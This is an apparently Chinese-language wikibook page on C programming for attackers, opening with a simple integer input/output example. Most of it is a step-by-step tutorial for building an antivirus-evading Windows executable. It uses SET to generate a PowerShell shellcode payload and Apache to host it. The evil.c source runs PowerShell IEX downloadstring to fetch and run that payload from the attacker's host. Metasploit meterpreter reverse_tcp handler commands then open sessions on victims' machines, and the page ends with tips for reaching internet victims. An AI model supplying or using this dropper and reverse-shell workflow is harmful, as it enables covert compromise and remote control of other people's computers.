跳转到内容

C 编程

来自维基教科书,自由的教科书,为了一个自由的世界


虽然汇编直接接触核心,但有时高级语言可以更快地完成工作。在这里,我们将研究一种最有用的编程语言,并将其用于攻击我们的受害者,以试图进行利用。

C 编程语言是由丹尼斯·里奇布莱恩·科尼汉 分别创建的。这种语言不是面向对象的,就像汇编语言一样,不要指望掌握这种语言;即使你精通 C++,也不意味着你可以用它来编写。

说到编写语言,让我们快速看一下如何阅读它。

输入和输出示例

[编辑 | 编辑源代码]

为了快速说明这种语言的简单特性,我们将从一个示例应用程序开始。它会提示你“输入一个整数”,然后将你输入的数字打印回给你。

#include <stdio.h>
// This is a single-line comment. This is ignored when the code is compiled/run.
int main()
{
  int a;
  printf("Enter an integer\n"); // Prints text to the screen
  scanf("%d", &a);              // Reads user input, and sends the data to the integer 'a'
  printf("Integer that you have entered is %d\n", a); // %d (decimal) tells it to add the integer 'a' where it had been typed
  return 0;
}

输出

Enter an integer
99
Integer that you have entered is 99

Process returned 0 (0x0)  execution time : 1.949 s
Press any key to continue

可以在这里找到更多这种语言的示例。

使用 Metasploit 和 SET 的 Powershell 攻击向量 FUD

[编辑 | 编辑源代码]

现在,我将提供一个教程,介绍如何在 Kali Linux 上使用 SET 创建 Powershell 攻击向量。即使你只有setoolkitgcc,你也可以按照这个教程操作。

这将让你了解使用 C 语言及其相应的编译器gcc可以多么容易地创建一个好的 FUD。

使用 SET 创建有效载荷

[编辑 | 编辑源代码]

要创建有效载荷,我们首先需要在具有 root 权限的终端中键入以下内容

setoolkit

给它一些时间加载后,它将提供六个选项。按“1”并回车选择“社会工程攻击”。然后会显示更多选项,只需键入“9”然后按回车选择“Powershell 攻击向量”选项。在这里,它会询问我们关于 Powershell 攻击向量的类型选项。我们将会选择“1”也就是“字母数字 Shellcode 注入器”。

  1. 在这里,它会询问攻击者的 LHOST,只需将你的 IP 地址复制/粘贴到框中即可。(提示:ifconfig将显示所有你的网络接口,包括 IP)
  2. 接下来,它会询问你的 LPORT。这次,你可以按回车键将其保留为默认值(位于方括号内),或者你可以键入一个随机值,但要确保记住它。
  3. 最后,它会询问我们是否希望它为我们启动一个监听器。跳过这一步,我们稍后可以轻松地做到这一点。
  4. 然后它将在/root/.set/reports/powershell创建一个文件,你应该将它移动到你的桌面。

将我们的有效载荷部署到 Apache 服务器

[编辑 | 编辑源代码]

现在,将我们的新有效载荷上传到 Apache 服务是合适的,这样我们的 C 程序就可以在受害者的 Powershell 上下载并运行。

  1. 首先,我们将x86_powershell_injection.txt移动到/var/www/html/payload.txt,这样 Apache 就可以找到它。
  2. 接下来,我们使用以下命令启动 Apache:service apache2 start

很好,现在我们准备制作病毒了。

使用 C 创建 FUD

[编辑 | 编辑源代码]

首先,使用 Vim 或 Nano 在你的桌面上打开一个名为“evil.c”的文件。用以下 C 源代码填充它

#include <stdio.h>
int main()
{
    system("powershell.exe \"IEX ((new-object net.webclient).downloadstring('YOURLHOSTHERE/payload.txt')\"");
    return 0;
}

请记住,将“YOURLHOSTHERE”更改为在 SET 中创建有效载荷时使用的 LHOST。

现在,我们将使用 gcc 编译evil.c文件

gcc ~/Desktop/evil.c -o ~/Desktop/evil.exe

现在我们已经将我们的程序编译成可执行文件,我们可以启动我们的监听器。

启动监听器

[编辑 | 编辑源代码]

现在我们可以启动 Metasploit 框架,输入

msfconsole

加载完成后,输入

use multi/handler

现在我们可以设置这些选项,如下所示

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 1.1.1.1
set LPORT 443

显然,像之前一样,将 LHOST 和 LPORT 更改为你在 SET 中创建有效载荷时使用的值。

现在你可以键入以下内容来启动监听器

exploit

现在,当有人运行你的 evil.exe 文件时,你就可以获得一个会话。

打开会话

[编辑 | 编辑源代码]

如果会话没有自动打开,你可以键入以下内容来列出所有会话及其编号

sessions -l

最后,打开一个会话

sessions -i 1

最终说明

[编辑 | 编辑源代码]

请记住,除非受害者在你的 LAN 上,否则此攻击不会奏效。你可以通过尝试以下选项之一在互联网上的受害者上测试它

  • Hamachi(或其他)
  • VPN
  • 端口转发
华夏公益教科书